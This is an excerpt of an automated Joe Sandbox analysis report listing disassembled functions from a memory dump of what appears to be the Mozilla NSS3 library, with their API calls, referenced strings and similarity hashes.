Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 8265056cad68ff0583820c511447759d02fbedc505f1b4fd24083e850732d0ff
Instruction ID: 67c34fa81f452e711d4843c846a8c45f4f4704388ec8f4d924e4d10f1b8255f4
Opcode Fuzzy Hash: 8265056cad68ff0583820c511447759d02fbedc505f1b4fd24083e850732d0ff
Instruction Fuzzy Hash: 5111DDD5F025321ADB1165B63E055BA38595B0334EF147935DC19D5F02FB10C50AC6FB

Function 6C811C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6C8113BC,?,?,?,6C811193), ref: 6C811C6B
PR_NewLock.NSS3(?,6C811193), ref: 6C811C7E

Part of subcall function 6C7C98D0: calloc.MOZGLUE(00000001,00000084,6C6F0936,00000001,?,6C6F102C), ref: 6C7C98E5

PR_NewCondVar.NSS3(00000000,?,6C811193), ref: 6C811C91

Part of subcall function 6C6EBB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6F21BC), ref: 6C6EBB8C

PR_NewCondVar.NSS3(00000000,?,?,6C811193), ref: 6C811CA7

Part of subcall function 6C6EBB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C6EBBEB
Part of subcall function 6C6EBB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C6EBBFB
Part of subcall function 6C6EBB80: GetLastError.KERNEL32 ref: 6C6EBC03
Part of subcall function 6C6EBB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C6EBC19
Part of subcall function 6C6EBB80: free.MOZGLUE(00000000), ref: 6C6EBC22

PR_NewCondVar.NSS3(00000000,?,?,?,6C811193), ref: 6C811CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6C811193), ref: 6C811CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6C811193), ref: 6C811CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6C811193), ref: 6C811D1A

Part of subcall function 6C7C9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C6F1A48), ref: 6C7C9BB3
Part of subcall function 6C7C9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C6F1A48), ref: 6C7C9BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6C811193), ref: 6C811D3D

Part of subcall function 6C7ADD70: TlsGetValue.KERNEL32 ref: 6C7ADD8C
Part of subcall function 6C7ADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6C811193), ref: 6C811D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6C811193), ref: 6C811D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6C811193), ref: 6C811D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6C811193), ref: 6C811D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6C811193), ref: 6C811D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6C811193), ref: 6C811D93
PR_DestroyLock.NSS3(00000000,?,?,6C811193), ref: 6C811D9F
free.MOZGLUE(00000000,?,6C811193), ref: 6C811DA8

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: 4468bdb1060bcd4c352beac36369694c1b6baf0e5840685d28201d6e8b5dd823
Instruction ID: cd69f1eaccf644222c2509cf156d06c6ba2fc97b4108c5f494b52fc20a12e07d
Opcode Fuzzy Hash: 4468bdb1060bcd4c352beac36369694c1b6baf0e5840685d28201d6e8b5dd823
Instruction Fuzzy Hash: 3131E6F5E007025FEB219F65AD45A677AF4AF1660DB044839E84A87F41FB31E408CBA6

Function 6C725E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C725ECF
EnterCriticalSection.KERNEL32(?), ref: 6C725EE3
PR_Unlock.NSS3(?), ref: 6C725F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6C725FB5

Strings

S&tl, xrefs: 6C725E6C, 6C72627F, 6C725F12
NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6C7261F4
S&tl, xrefs: 6C7262E3

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&tl$S&tl
API String ID: 2280678669-3603847617
Opcode ID: 2684eacac455e722b4813bd71967e493ca0307c862177ab6b1cb491b58088977
Instruction ID: fe6d664eccdd94d0348f31d852998f4d2dbd1cd341e2389bdbfdf7c369760257
Opcode Fuzzy Hash: 2684eacac455e722b4813bd71967e493ca0307c862177ab6b1cb491b58088977
Instruction Fuzzy Hash: 12F1E5B5A002158FDB54CF18C984B86BBF4FF09308F5582AAD8089F746E774EA95CF91

Function 6C770C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,wl), ref: 6C770C81

Part of subcall function 6C75BE30: SECOID_FindOID_Util.NSS3(6C71311B,00000000,?,6C71311B,?), ref: 6C75BE44

Part of subcall function 6C748500: SECOID_GetAlgorithmTag_Util.NSS3(6C7495DC,00000000,00000000,00000000,?,6C7495DC,00000000,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C748517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C770CC4

Part of subcall function 6C75FAB0: free.MOZGLUE(?,-00000001,?,?,6C6FF673,00000000,00000000), ref: 6C75FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C770CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C770D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C770D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C770D7D
free.MOZGLUE(00000000), ref: 6C770DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C770DC1
free.MOZGLUE(00000000), ref: 6C770DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C770E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C770E0F

Part of subcall function 6C7495C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C7495E0
Part of subcall function 6C7495C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C7495F5
Part of subcall function 6C7495C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C749609
Part of subcall function 6C7495C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C74961D
Part of subcall function 6C7495C0: PK11_GetInternalSlot.NSS3 ref: 6C74970B
Part of subcall function 6C7495C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C749756
Part of subcall function 6C7495C0: PK11_GetIVLength.NSS3(?), ref: 6C749767
Part of subcall function 6C7495C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C74977E
Part of subcall function 6C7495C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C74978E

Strings

*,wl, xrefs: 6C770C69, 6C770DE0, 6C770C80, 6C770C8B, 6C770CAF
-$wl, xrefs: 6C770C64
*,wl, xrefs: 6C770DCC

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,wl$*,wl$-$wl
API String ID: 3136566230-962488925
Opcode ID: 42c54cf8603e0a86bce4476d41abac19fd68b50bb4f3267426f1007664103001
Instruction ID: b816b922590dc016f9f17d4c8602b91850cafbd3d9f20ac6edf265c1ac21a9f6
Opcode Fuzzy Hash: 42c54cf8603e0a86bce4476d41abac19fd68b50bb4f3267426f1007664103001
Instruction Fuzzy Hash: 1241C2B5900249ABEF109F65DE4ABAF7678AF0530CF104134E91557742EB36EA18CBF2

Function 6C765CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6C765EC0,00000000,?,?), ref: 6C765CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6C765CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C765CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C765D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6C765EC0,00000000,?,?), ref: 6C765D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6C765D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C765D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C765D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6C765D80

Strings

extern:, xrefs: 6C765CEA, 6C765D4B
dbm:, xrefs: 6C765D03, 6C765D60
NSS_DEFAULT_DB_TYPE, xrefs: 6C765D1A
multiaccess:, xrefs: 6C765CB8
sql:, xrefs: 6C765CD1, 6C765D36

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: 0656853923052c7fae27e765aae91399a76000cbac106088fdd26c00461e82c0
Instruction ID: 506782f47e47f06acbe81903d69907ddcaada5a6c49d00d6120b605a568bb298
Opcode Fuzzy Hash: 0656853923052c7fae27e765aae91399a76000cbac106088fdd26c00461e82c0
Instruction Fuzzy Hash: B03124F07013016BF7A11A26EE8AB663768AF0234CF100430ED55A6FC3E7B5D401DAD5

Function 6C766CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C831DE0,?), ref: 6C766CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C766D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C766D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C766D82
DER_GetInteger_Util.NSS3(?), ref: 6C766DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C766DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C766E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C766F19
PK11_DigestBegin.NSS3(00000000), ref: 6C766F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C766F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C767011
PK11_FreeSymKey.NSS3(00000000), ref: 6C767033
free.MOZGLUE(?), ref: 6C76703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C767060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C767087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C7670AF

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 4e75a3662afee719bbbc03ee8ce2ef46331df9e35e4a63af6c3ea9d1ea724146
Instruction ID: 15695182e0a551636965d1327cba3d7b646bb0e24c1bfa7638be84504bee2bfe
Opcode Fuzzy Hash: 4e75a3662afee719bbbc03ee8ce2ef46331df9e35e4a63af6c3ea9d1ea724146
Instruction Fuzzy Hash: 0EA13B719042009BEB009F26CF59BAB3295EB8130CF648939ED58CBF81E775DA49C793

Function 6C72AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C70AB95,00000000,?,00000000,00000000,00000000), ref: 6C72AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C70AB95,00000000,?,00000000,00000000,00000000), ref: 6C72AF39
PR_Unlock.NSS3(?,?,?,6C70AB95,00000000,?,00000000,00000000,00000000), ref: 6C72AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C70AB95,00000000,?,00000000,00000000,00000000), ref: 6C72AF69
TlsGetValue.KERNEL32 ref: 6C72B06B
EnterCriticalSection.KERNEL32(?), ref: 6C72B083
PR_Unlock.NSS3(?), ref: 6C72B0A4
TlsGetValue.KERNEL32 ref: 6C72B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C72B0D9
PR_Unlock.NSS3 ref: 6C72B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C72B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C72B182

Part of subcall function 6C75FAB0: free.MOZGLUE(?,-00000001,?,?,6C6FF673,00000000,00000000), ref: 6C75FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C72B177

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C70AB95,00000000,?,00000000,00000000,00000000), ref: 6C72B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C70AB95,00000000,?,00000000,00000000,00000000), ref: 6C72B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C70AB95,00000000,?,00000000,00000000,00000000), ref: 6C72B1C2

Part of subcall function 6C751560: TlsGetValue.KERNEL32(00000000,?,6C720844,?), ref: 6C75157A
Part of subcall function 6C751560: EnterCriticalSection.KERNEL32(?,?,?,6C720844,?), ref: 6C75158F
Part of subcall function 6C751560: PR_Unlock.NSS3(?,?,?,?,6C720844,?), ref: 6C7515B2

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: d730e3ba7042663c4c4020d41573aa444626d04a222ac204b8d17bdc139191cb
Instruction ID: c1b015cd0b0ee875651b1edf76827e26d11eb400d37ee4f13a968c28503bdb09
Opcode Fuzzy Hash: d730e3ba7042663c4c4020d41573aa444626d04a222ac204b8d17bdc139191cb
Instruction Fuzzy Hash: 09A1D0B1D00206ABEF019F64DD49AEAB7B4FF08318F144134E805A7752E739E959CBE2

Function 6C722C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?rl,?,6C71E477,?,?,?,00000001,00000000,?,?,6C723F23,?), ref: 6C722C62
EnterCriticalSection.KERNEL32(0000001C,?,6C71E477,?,?,?,00000001,00000000,?,?,6C723F23,?), ref: 6C722C76
PL_HashTableLookup.NSS3(00000000,?,?,6C71E477,?,?,?,00000001,00000000,?,?,6C723F23,?), ref: 6C722C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C71E477,?,?,?,00000001,00000000,?,?,6C723F23,?), ref: 6C722C93

Part of subcall function 6C7ADD70: TlsGetValue.KERNEL32 ref: 6C7ADD8C
Part of subcall function 6C7ADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C71E477,?,?,?,00000001,00000000,?,?,6C723F23,?), ref: 6C722CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C71E477,?,?,?,00000001,00000000,?,?,6C723F23,?), ref: 6C722CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C71E477,?,?,?,00000001,00000000,?,?,6C723F23), ref: 6C722CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C71E477,?,?,?,00000001,00000000,?), ref: 6C722CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C71E477,?,?,?,00000001,00000000,?), ref: 6C722D4D
EnterCriticalSection.KERNEL32(?), ref: 6C722D61
PL_HashTableLookup.NSS3(?,?), ref: 6C722D71
PR_Unlock.NSS3(?), ref: 6C722D7E

Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07AD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07CD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07D6
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C68204A), ref: 6C6F07E4
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,6C68204A), ref: 6C6F0864
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6F0880
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,6C68204A), ref: 6C6F08CB
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08D7
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08FB

Strings

#?rl, xrefs: 6C722C43

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?rl
API String ID: 2446853827-3858320230
Opcode ID: 81fa02d3991c16a73ad500a9470deba3c6bbbebbb25dfb94b57c1b52be787219
Instruction ID: 6bde899d170c55d1eb8b69236df32dc17ad8e1285490f1eb3fc08e67014bf11c
Opcode Fuzzy Hash: 81fa02d3991c16a73ad500a9470deba3c6bbbebbb25dfb94b57c1b52be787219
Instruction Fuzzy Hash: ED5118B6D00105ABDB109F24DD498AAB7B8FF1936CB188530EC1897B12E735ED65CBE1

Function 6C77AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C77ADB1

Part of subcall function 6C75BE30: SECOID_FindOID_Util.NSS3(6C71311B,00000000,?,6C71311B,?), ref: 6C75BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C77ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C77AE08

Part of subcall function 6C75B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8318D0,?), ref: 6C75B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C77AE25
PL_FreeArenaPool.NSS3 ref: 6C77AE63
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C77AE4D

Part of subcall function 6C684C70: TlsGetValue.KERNEL32(?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684C97
Part of subcall function 6C684C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684CB0
Part of subcall function 6C684C70: PR_Unlock.NSS3(?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C77AE93
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C77AECC
PL_FreeArenaPool.NSS3 ref: 6C77AEDE
PL_FinishArenaPool.NSS3 ref: 6C77AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C77AEF5
PL_FinishArenaPool.NSS3 ref: 6C77AF16

Strings

security, xrefs: 6C77ADEE

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 47f78138e519e5a63728c0442528aca258328ee6e26b23ed04b45b6de50e89f8
Instruction ID: f1ca5f62e63362efbbfcefc0f4f31e0a639e24252ae5fceb298aa0420b2019bb
Opcode Fuzzy Hash: 47f78138e519e5a63728c0442528aca258328ee6e26b23ed04b45b6de50e89f8
Instruction Fuzzy Hash: 664126B1904208A7FF315B159E4EBAA32ACAF5232DF541635E81492F41FB75D60886F3

Function 6C81AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7C9890: TlsGetValue.KERNEL32(?,?,?,6C7C97EB), ref: 6C7C989E

EnterCriticalSection.KERNEL32(?), ref: 6C81AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6C81AFCE
PR_SetPollableEvent.NSS3(?), ref: 6C81AFD9
EnterCriticalSection.KERNEL32(?), ref: 6C81AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C81B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6C81B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6C81B070
PR_JoinThread.NSS3(?), ref: 6C81B07B
free.MOZGLUE(?), ref: 6C81B084
EnterCriticalSection.KERNEL32(?), ref: 6C81B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6C81B0C4
PR_JoinThread.NSS3(?), ref: 6C81B0F3
free.MOZGLUE(?), ref: 6C81B0FC
PR_JoinThread.NSS3(?), ref: 6C81B137
free.MOZGLUE(?), ref: 6C81B140

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

